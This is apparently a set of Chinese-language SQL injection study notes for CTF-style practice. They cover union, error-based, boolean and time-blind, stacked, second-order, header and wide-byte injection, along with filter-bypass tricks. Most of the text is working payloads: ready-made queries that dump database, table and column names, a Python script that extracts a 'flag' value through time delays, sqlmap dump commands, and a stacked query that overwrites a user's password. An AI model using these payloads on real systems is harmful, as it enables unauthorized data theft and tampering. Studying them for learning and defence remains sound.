SQL注入

注入姿势

联合查询注入

1.寻找注入点(和数据库有交互的地方)与数据传输的类型

登录,注册,搜索框

2.判断闭合方式

先判断是数字型还是字符型

?id=1asdf

​ 数字型:报错

​ 字符型:正常

再判断闭合方式(字符型)

?id=1asdf (先加单引号,再加双引号,直到报错)

注意:‘’“”(){}都是成双成对

去掉头尾单引号,自己输入的内容右边的内容即为闭合方式(上例为单引号)

?id=1asdf(先加闭合方式,再加–+注释,页面恢复正常)

验证输入内容数据库能否执行(加单引号让SQL语句发生错误,破坏SQL语句的完整性,没有达到SQL语句语法规则,从而判断可实现sql注入)

1
2
3
?id=1' and 1=1 #有显示

?id=1' and 1=2 #没显示

需要注意的是,在测试删除功能时尽量不要使用and 1=1,否则可能会将数据全部删除

3.判断列数

?id=1' order by 3 #

[!IMPORTANT]

order by

默认按照升序对记录进行排序,可用desc关键字按照降序对记录进行排序

order by后面的列数大于实际的列数就会报错

order by无法使用时,可通过select null判断

?id=1' union select null,null,null #

4.判断回显(假设3列)

?id=-1' union select 1,2,3 #

5.爆破数据(假设回显位为2)

数据库名

?id=-1' union select 1,database(),3 #

查表名

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema='库名'),3 #

?id=-1' union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=database()),3 #

?id=-1' union select 1, group_concat(table_name) ,3 from information_schema.tables where table_schema=database() #

查列名

?id=-1' union select 1,(select group_concat(column_name) from information_schema.columns where table_name='表名'),3 #

?id=-1' union select 1, group_concat(column_name) ,3 from information_schema.columns where table_name='表名' #

具体数据

?id=-1' union select 1,(select group_concat(列名) from 表名),3 #

?id=-1 union select 1,列名 from 表名,3 #

[!IMPORTANT]

一些默认数据库有关知识

table_schema:数据库名

table_name:表名

column_name:列名

information_schema.tables:数据库的表名

information_schema.columns:数据库的列名

[!IMPORTANT]

limit m,n

m:是指记录开始的位置,从0开始,表示第一条记录

n:是指取n条记录

limit 0,1 表示从第一条记录开始,表示取第一条记录

[!IMPORTANT]

一些常见函数

concat:将多个字符串连成一个字符串

concat(str1,str2)

返回结果为连接参数产生的字符串,如果有任何一个参数为null,则返回值为null

group_concat():将group by产生的同一个分组中的值连接起来

返回一个字符串的结果该函数返回带有来自一个组的连接的非NULL值的字符串结果

group_concat( [distinct] 要连接的字段 [order by 排序字段 asc/desc] [separator '分隔符'])

distinct可以排除重复值,order by子句可以对结果中的值进行跑徐,separator是一个字符串值,缺省为一个逗号

substr:用来截取数据库某个字段中的一部分

substr(string,start,length)

例如,获取 column_name 列的前 10 个字符

1
select substr(列名, 1, 10) from 表名 

substring(列名, 1, 10):从 column_name 的第 1 个字符开始,提取 10 个字符

如报错注入中

1
'and extractvalue(1,concat(0x7e,(select substring(value,1,10) from flag ),0x7e)) #
ascii:返回字符串str最左边的数值

ascii(str)

报错注入

通过特殊函数错误使用并使其输出错误结果来获取信息

在遇有报错回显但没数据回显时可利用

[!IMPORTANT]

报错注入函数

floor():向下取整

?id=1' and (select 1 from (select count(*),concat((select database() from information_schema.tables limit 0,1),floor(rand()*2))x from information_schema.tables group by x)a) # //获取数据库名

extractvalue():对XML文档进行查询的函数,当参数格式不正确而产生的错误,会返回参数的信息

语法:extractvalue(XML_document,XPath_string);

payload:and (extractvalue(1,concat(0x7e,select database()),0x7e))

注:其一次只能查询32位长度

updatexml():更新XML文档的函数,原理和extractvalue一样

语法:updatexml(XML_document,XPath_string,new_value);

payload:updatexml(1,concat(0x7e,(select database()),0x7e),1)

exp():以e为底的指数函数

1.爆数据库名

and extractvalue(1,concat(0x7e,database(),0x7e)) #

and updatexml(1,concat(0x7e,mid((select group_concat(schema_name) from information_schema.schemata),1,31)),1)

2,爆表名

and extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()),0x7e)) #

and updatexml(1, concat(0x7e, mid((select group_concat(table_name) from information_schema.tables where table_schema=database()),1,31)),1) #

3.爆列名

and extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name='表名'),0x7e)) #

and updatexml(1, concat(0x7e, mid((select group_concat(column_name) from information_schema.columns where table_name='表名'),1,31)),1) #

4.爆值

and extractvalue(1,concat(0x7e,(select group_concat(列1,0x3a,列2) from 表名),0x7e)) #

updatexml(1, concat(0x7e, mid((select group_concat(列1,0x3a,列2) from 表名),1,31)),1) #

盲注

看不到返回数据情况下通过差异(包括运行时间的差异和页面返回结果的差异)来判断

布尔盲注

在页面中,正确执行和错误执行SQL语句返回页面不一样,基于两种页面,来判断SQL语句正确与否,达到获取数据的目的

[!IMPORTANT]

几个盲注函数

length():返回字符串的长度
limit(a,b):a记录开始的偏移量,b是指从a+1条开始,取b条记录
substr():截取字符串
ascii():返回字符的ascii码,其同名函数ord用于过滤ascii的过滤
left(a,b):从左侧截取a的前b位

​ left((select database()),1)截取数据库名称第一位

判断数据库的长度:id=1 and (length(database())>3)

判断数据库的具体名称:id=1 and (ascii(substr(database(),x,1))>110)

​ 上例用来判断数据库名称的第x个字符的ascii码是否大于110这个值

判断表的个数:id=1 and length((select table_name from information_schema.tables where table_schema=database() limit x,1))>0

​ 上例若x=0则用来判断是否存在表

判断表的长度:id=1 and length((select table_name from information_schema.tables where table_schema=database() limit x,1))=4

​ 上例用来判断第(x+1)个表长度是否为4

判断表名:id=1 and ascii(substr((select table_name from information_schema.tables where table_schema=database() limit x,1),y,1))=110

​ 上例用来判断第(x+1)个表的第y个字符ascii码是否为110

判断列的个数:id=1 and (select count(column_name) from information_schema.columns where table_name="flag")=1

​ 上例用来判断flag表的列数

判断列的长度:id=1 and ascii(substr((select column_name from information_schema.columns where table_name = "flag"), 4,1))

判断列名:id=1 and ascii(substr((select column_name from information_schema.columns where table_name = "flag"), 1,1))=102

查值(虚拟机中):sqlmap -r 1.txt --technique B -D web -T flag -C value --dump --level 3 --risk 3

时间盲注

通过观察页面,既没有回显数据库内容,又没有报错信息也没有布尔类型状态

sleep():将程序挂起n秒后响应

if(expr1,expr2,expr3):如果expr1是true,则if()的返回值为expr2,否则返回值则为expr3

判断注入点:1‘ and 1=1-- # 页面返回有数据‘ and sleep(5)--

1’ and 2=2-- # 页面返回有数据*

判断数据库的长度:id=1 and if(length(database())=4,sleep(3),1)

判断数据库的具体名称:id=1 and if(ascii(substr(database(),x,1))>110,sleep(3),1)

判断表的个数:id=1 and if((select count(table_name) from information_schema.tables where table_schema=database())=x,sleep(3),1) //这里的x从1开始判断数据库中存在的表的数量

判断表名:id=1 and if(ascii(substr((select table_name from information_schema.tables where table_schema=database() limit x,1),y,1))=110,sleep(3),1)

判断列的个数:id=1 and if((select count(column_name) from information_schema.columns where table_name='flag')=x,sleep(3),1) //这里的x从1开始判断flag表中存在的字段数量

判断列名:id=1 and if(ascii(substr((select column_name from information_schema.columns where table_name='flag'),x,1))=xxx,sleep(3),1)//这里的x是从1开始判断字段的位置,xxx对应了具体的ascii值

查值(虚拟机中):sqlmap -r 1.txt --technique T -D web -T flag -C value --dump --level 3 --risk 3

[!TIP]

时间盲注脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import requests
import string
import time

#配置目标 URL 和基础信息

url = "........"
username_template = "' or if((select substr(value,{index},1) from flag)='{char}',sleep(3),0)#"
#填写payload
password = "0"

#用于测试的字符集(可以根据实际情况扩展)

charset = string.ascii_letters + string.digits + "{}_-"

def time_blind_injection():
extracted_value = ""
index = 1 # 从第1个字符开始

while True:
found = False
for char in charset:
payload = username_template.format(index=index, char=char)
start_time = time.time()

# 发送 POST 请求
response = requests.post(url, data={"username": payload, "password": password})
elapsed_time = time.time() - start_time

# 判断响应时间是否超过3秒
if elapsed_time > 3:
extracted_value += char
print(f"[+] Found character at position {index}: {char}")
found = True
break

if not found: # 如果在当前索引没有找到字符,说明到达字符串末尾
print("[+] Extraction complete!")
break

index += 1

return extracted_value

if __name__ == "__main__":
print("[*] Starting time-based blind SQL injection...")
result = time_blind_injection()
print(f"[+] Extracted value: {result}")

堆叠查询注入

堆叠查询可以执行多条语句,多条语句间以分号隔开

id=1';update users set password='123456' where id=1; #

例如php中的**mysql_multi_query(),pymysql中的cursor.execute()**支持多条sql语句同时执行

查数据库:0';show databases;#

查表:0';show tables;#

查列:0';show columns from 表名;#0';desc 列名;#

查数据(使用预处理语句):0';sEt@a=concat("sel","ect 列名 from 表名");PRepare hello from @a;execute hello;#(select被绕过时,使用concat函数将select进行连接过滤)

注:表名前后都有 `

更新注入

更新类的操作的返回结果都是布尔型,无法返回数据

insert into user(username,password,role) values('admin' or updatexml(1, concat(0x7e, database(), 0x7e), 1) or '', 'passwd', 'editor')
update user set password = 'kali123' where id = 5 or extractvalue(1, concat(0x7e, version(), 0x7e));

二次注入

二次注入就是由于将数据存储进数据库中时未做好过滤,先提交构造好的特殊字符请求存储进数据库,然后提交第二次请求时与第一次提交进数据库中的字符发生了作用,形成了一条新的sql语句导致被执行

利用条件:知道数据库中的列名且使用了magic_quote_gpc等对引号过滤

例如存在注册和登录两个点击框,在注册的时候添加一些特殊字符,创建成功后,登录进行修改密码,发现报错语句,这里就可以判定是存在二次注入的,在注册的时候写入,然后再修改密码的地方修改密码后触发,这样就导致错误的输出,这里有错误的回显就可以使用报错注入来进行注入

admin1"or(updatexml(1,concat(0x3a,(select(group_concat(table_name))from(information_schema.tables)where(table_schema=database()))),1))#

HTTP头注入

HTTP头部注入是通过HTTP协议头部字段值进行注入,常存在于user-agent,cookie,referer,x-forwarded-for

User-Agent注入

判断注入点:user-agent值后面加上',引发报错,确定存在sql注入

采用报错注入函数获取当前数据库名‘ and updatexml(1,concat(0x7e,(database()),0x7e),0) and '

cookie注入

采用联合注入或报错注入

3 union select 1,group_concat(table_name) from information_schema.tables where table_schema='数据库名'

剩下的就是需要查询表中的字段和字段的详细信息,和普通SQL注入同理

Referer注入

XFF注入

宽字节注入

可以看到addslashes或magic_quotes_gpc,设置了gbk编码

当访问id=1’时,执行的SQL语句为:SELECT * FROM users WHERE id='1\'',单引号被转义符“\”转义,所以在一般情况下,是无法注入的,但是由于数据库查询前执行了SET NAMES’ GBK’,将编码设置为宽字节GBK,所以是存在宽字节注入漏洞

原理:汉字url编码2位,利用汉字的一半编码与/组合过滤

接着与正常注入步骤一样

?id=-1%df%27 union select 1,2,database()%23

但后续查表会出现单引号(但其会被转义),用嵌套查询

?id=20%df%27 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=(select database())%23

?id=20%df%27 union select 1,2,column_name from information_schema.columns where table_schema = (select database()) and table_name = (select table_name from information_schema.tables where table_schema = (select database())limit 0, 1)limit 0,1 %23

二次编码注入

利用条件:目标站点使用了urldecode()解码

%的url编码为:%25
'的url编码为:%27
%25%27,URL解码后是%27 也就是'

sqlmap

sqlmap -u (url) --dbs 跑出数据库

sqlmap -u (url) -D 数据库名 --tables 跑出指定数据

sqlmap -u (url) -D 数据库名 -T 表名 --columns 跑出指定表的列名

sqlmap -u (url) -D 数据库名 -T 表名 -C 指定列 --dump 跑出指定列中的值

1
sqlmap --batch -u "(网站url)" --cookie=“···” 

-u:扫描目标url

–batch:自动处理提示信息

–cookie:附加cookie参数

获取当前数据库名:

​ –current-db:查询当前web使用的数据库名

​ -D:应用指定数据库

获取表名:

​ –tables:查询指定库下所有表名(先用-D指定库名)

​ -T:应用指定表

获取字段:

​ –columns:查询指定表下所有字段(先用-T指定名)

​ -C:应用指定字段名

获取数据:–dump

绕过方式

注释符

1
'#', '--+', '-- -', '%23', '%00', '/**/'

#一般在post传参,%23一般在get传参

and,or 过滤

1
2
3
4
5
# 可以使用"&&"和"||"代替
?id=1 && 1=1 --+

# 盲注,异或运算相同为0,不同为1;根据返回值0,1判断
?id=1 union select (substr(database(),1,1)='s') ^ 0 --

关键词绕过

大小写绕过

id=-1' UnIoN SeLeCT xxx

双写绕过

id=-1'UNIunionONSeLselectECT1,2,3–-

编码绕过

可以使用URL,hex,ASCII等编码绕过

例如’or 1=1可用27%20%4F%52%201%3D%31%20%2D%2D

注释绕过

内联注释/**/将关键词分隔开

id=1' UN/**/ION SE/**/LECT database() --

空格绕过

内联注释代替空格

id=1/**/and/**/1=1

括号嵌套

select(group_concat(table_name))from(information_schema.taboles)where(tabel_schema=database());

制表符、换行、不可见空格

%09(制表符), %0a(换行), %0b(垂直制表符), %0d(回车), %a0(不间断空格)%0c(换页符),%20(空格)

反引号

1
union(select`table_name`,`table_type`from`information_schema`.`tables`);

=被过滤

可以用like(其子句中用%来表示任意字符)或rlike,也可以用regexp(不区分大小写,若需要大小写敏感,加binary)来绕过

比如=’admin’ 就可以like ‘admin’

逗号过滤

逗号被过滤时可以使用from…for…

1
2
select substr(select database() from 1 for 1);
select substr(select database() from 2 for 1);

limit中的逗号可以替换成offset

1
select * from users limit 1 offset 2;

需要注意,limit 1,2 指的是从第一行往后取2行(包括第一行和第二行);而limit 1 offset 2是从第一行开始只取第二行

False注入

1
select * from users where username = 0;		# 查询表中所有数据

其实是利用了mysql的隐式类型转换,当字符串与数字比较时,会将字符串转换为浮点数,转换失败并返回0,0 = 0返回True,就会返回表中所有数据

绕过引号构造0的方法

1
2
3
4
5
select * from users where username = ''+'';
select * from users where username = ''-'';
select * from users where username = ''*'';
select * from users where username = ''%1#';
select * from users where username = ''/6#';

等价函数

if()与 case…when..then…else…end

1
2
3
0' or if((ascii(substr((select database()),1,1))>97),1,0)#
=
0' or case when ascii(substr((select database()),1,1))>97 then 1 else 0 end#

sleep()与benchmark()

benchmark()函数用来测试执行速度,第一个参数代表执行的次数,第二个参数代表要执行的表达式或函数,根据执行的时间来判断

1
?id=1 AND BENCHMARK(5000000, MD5('test'))

concat_ws()与group_concat()

1
2
3
select group_concat(database());
=
select concat_ws(1,database());

substr()与substring()/ipad()/rpad()/left()/mid()

outfile_sql注入之文件写入webshell(太难了,暂定)